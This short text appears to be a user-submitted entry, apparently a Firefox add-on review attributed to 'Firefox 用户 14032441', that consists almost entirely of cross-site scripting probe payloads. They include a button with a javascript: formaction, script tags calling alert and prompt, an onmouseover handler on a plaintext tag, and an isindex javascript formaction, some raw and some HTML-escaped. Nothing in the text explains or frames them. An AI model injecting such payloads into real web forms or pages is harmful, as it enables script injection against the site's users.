<form><button formaction=javascript&colon;alert(1) 作者： Firefox 用户 14032441

&lt;form&gt;&lt;button&gt;CLICKME '"&gt;&gt;&lt;marquee&gt;&lt;img src="x"&gt;&lt;/marquee&gt;"&gt;&lt;/plaintext\&gt;&lt;plaintext onmouseover="prompt(1)"&gt;&lt;script&gt;prompt(1)&lt;/script&gt;@gmail.com&lt;isindex formaction="javascript:alert(/XSS/)" type="submit"&gt;'--&gt;"&gt;&lt;/script&gt;&lt;script&gt;alert(1) &lt;/script&gt;"&gt;&lt;/button&gt;&lt;/form&gt;